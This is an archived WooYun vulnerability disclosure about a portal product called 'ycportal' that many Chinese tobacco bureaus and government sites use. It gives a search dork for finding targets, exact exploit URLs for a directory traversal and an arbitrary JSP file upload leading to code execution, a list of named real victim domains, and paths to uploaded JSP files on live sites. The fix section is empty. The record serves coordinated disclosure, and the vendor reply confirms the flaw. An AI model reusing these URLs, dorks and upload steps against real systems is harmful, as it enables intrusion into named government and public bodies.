当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062997

漏洞标题：某通用程序任意目录遍历及文件上传导致任意代码执行（影响全国各省）

相关厂商：cncert国家互联网应急中心

漏洞作者： Coody

提交时间：2014-05-31 18:34

修复时间：2014-08-29 18:36

公开时间：2014-08-29 18:36

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-31： 细节已通知厂商并且等待厂商处理中
2014-06-05： 厂商已经确认，细节仅向厂商公开
2014-06-08： 细节向第三方安全合作伙伴开放
2014-07-30： 细节向核心白帽子及相关领域专家公开
2014-08-09： 细节向普通白帽子公开
2014-08-19： 细节向实习白帽子公开
2014-08-29： 细节向公众公开

简要描述：

端午节快到了，祝各位 @乌云管理团队成员 及 @全体白帽子 节日快乐。
ps:标题要霸气/RANK值要高 :P

详细说明：

之前在 CNVD 提交另一处漏洞，今儿借助该平台提交另一处问题吧。
影响范围：全国各省市地区烟草专卖局及少数GOV站点
--------------------------------------------------------
百度、谷歌 dork: inurl:/ycportal
--------------------------------------------------------

问题一：任意目录遍历漏洞


测试链接：http://目标站点/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/
说明：参数jumpPage为页数，如果一页不能显示全部文件，可修改该参数值，url为路径。

问题二：文件上传导致任意代码执行漏洞


测试链接：http://目标站点/ycportal/js/wbTextBox/uploadfile.jsp?blockid=1000
说明：参数blockid的值可通过《漏洞一》查看目录 /upload/files/ 下存在的值，上传成功后，文件就会上传到该目录下。测试过程发现，如果files文件夹下面为空，那么随意填写blockid的值，上传成功会显示空白页，可从遍历files目录查看成功的文件名。

案例：
http://www.jztobacco.com.cn/  晋中烟草专卖局
http://www.rzdonggang.gov.cn/  日照市东港区政府门户网站
http://www.jxfdacdc.cn/  江西省药品认证中心
http://www.lvlyc.com.cn/  吕梁市烟草电子商务平台
http://ycycgs.com.cn/  运城市烟草专卖局(公司)
http://szycgs.cn/  朔州市烟草专卖局(公司)
http://www.sxlfyc.com/  临汾市烟草专卖局(公司)
http://www.dtycgs.cn:9080/  大同市烟草专卖局
http://www.yqycgs.com.cn/  阳泉市烟草专卖局
http://hl.tobacco.com.cn/  黑龙江烟草专卖局
http://www.yqycgs.com.cn/  阳泉市烟草专卖局(公司)
    ……更多……

漏洞证明：

问题一：任意目录遍历漏洞


http://www.yqycgs.com.cn/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/

QQ图片20140531164859.jpg


http://www.dtycgs.cn:9080/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/

QQ图片20140531165020.jpg


http://www.sxlfyc.com/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/

QQ图片20140531165053.jpg


其他的就不截图了……
http://ycycgs.com.cn/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/
http://www.lvlyc.com.cn/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/
http://www.jxfdacdc.cn/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/
http://www.rzdonggang.gov.cn/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/
http://www.jztobacco.com.cn/ycportal/js/wbTextBox/showimg.jsp?jumpPage=1&url=/

问题二：文件上传导致任意代码执行漏洞


测试步骤：
1）首先通过漏洞一的遍历漏洞查看 /upload/files/ 下的目录名称

QQ图片20140531165743.jpg


2）修改文件上传链接中参数 blockid 的值

QQ图片20140531165918.jpg


3）上传jsp文件，最终在目录 /upload/files/1001/ 下可查看到文件

QQ图片20140531170103.jpg


4）给出3个测试案例
http://www.jxfdacdc.cn/ycportal//upload/files/1001/1401526455890.jsp

QQ图片20140531170248.jpg


http://www.rzdonggang.gov.cn/ycportal/upload/1401527130723.jsp

QQ图片20140531170655.jpg


http://www.lvlyc.com.cn/ycportal//upload/files/707/1401527319713.jsp

QQ图片20140531170917.jpg


修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-06-05 08:48

厂商回复：

CNVD确认并复现所述多个实例情况，不过暂未确认软件生产厂商，如白帽子获知，也请后续提供。CNVD已经提取应用软件特征，以待后续相关漏洞可进一步验证。同时，根据测试用例，已经发给山西、江西、山东等多个分中心处置政府部门案例。

最新状态：

暂无